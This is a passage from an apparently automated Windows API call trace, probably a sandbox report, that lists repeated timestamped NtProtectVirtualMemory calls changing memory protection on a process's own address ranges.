OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.255] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.266] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.276] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.336] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.346] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.357] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.375] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.386] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.397] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.407] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.425] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.435] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.446] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.464] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.476] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.486] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.497] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.515] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.525] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.536] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.546] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.668] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.679] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.690] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.711] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.721] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.732] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.749] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.760] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.770] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.781] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.797] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.808] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.818] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.830] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.846] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.857] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.868] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.878] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.896] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.906] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.917] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.934] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.945] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.956] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.967] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.984] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.995] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.005] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.015] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.036] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.046] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.057] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.075] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.086] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.096] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.107] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.123] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.134] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.144] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.155] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.182] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.199] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.230] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.245] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.260] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.284] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.298] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.359] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.384] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.399] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.425] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.440] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.458] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.484] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.500] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.524] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.540] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.564] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.581] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.597] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.621] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.637] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.660] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.670] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.681] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.699] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.710] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.720] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: 